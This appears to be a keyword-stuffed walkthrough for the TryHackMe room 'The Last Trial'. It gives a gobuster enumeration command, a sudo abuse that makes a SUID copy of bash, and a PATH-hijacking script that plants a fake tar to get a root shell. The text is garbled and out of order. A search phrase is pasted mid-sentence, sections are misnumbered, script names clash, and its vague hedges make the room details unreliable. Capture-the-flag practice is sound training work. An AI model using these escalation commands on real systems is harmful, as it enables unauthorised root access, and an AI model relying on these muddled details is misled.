The Last Trial TryHackMe Verified: A Complete Walkthrough and Verification Guide

Step 2: Web Enumeration (Critical)

The web server usually hosts a fake "Corp Portal." Use gobuster with multiple wordlists:

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip

Verified discovery: Look for /dev/, /notes/, or a .git/ directory. The last trial hides an SSH key in a .git cache.

Abusing the Sudoers Entry

Create a new file called run.py with the following contents: the last trial tryhackme verified

import os
os.system('cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p')

Then, execute the remote_run.py script:

sudo /usr/bin/python3 /opt/remote_run.py run.py

Phase 2: Privilege Escalation (First Stage)

Objective: Move from the web user to another local user.

  1. Enumeration Scripts:

    • Upload linpeas.sh or winPEAS.ps1 depending on the OS (The Last Trial often uses Linux). Run it and look for:
    • Cron Jobs: A script running as root every minute.
    • SUID Binaries: A weird binary like /usr/bin/zip or /usr/bin/find with SUID bit set.
  2. The Verified Escalation Path:

    • In many versions of "The Last Trial," there is a custom binary in /opt/ called backup_manager.
    • Running strings backup_manager reveals it calls tar without an absolute path. This is a PATH hijacking vulnerability.
    • Verified Exploit:
    echo '#!/bin/bash' > /tmp/tar
    echo '/bin/bash' >> /tmp/tar
    chmod +x /tmp/tar
    export PATH=/tmp:$PATH
    /opt/backup_manager
    
    • This drops you into a root shell, or at least into a user with higher privileges (e.g., sysadmin).
  3. Capture First Flag: The user.txt flag is typically in the home directory of the user you just escalated to.
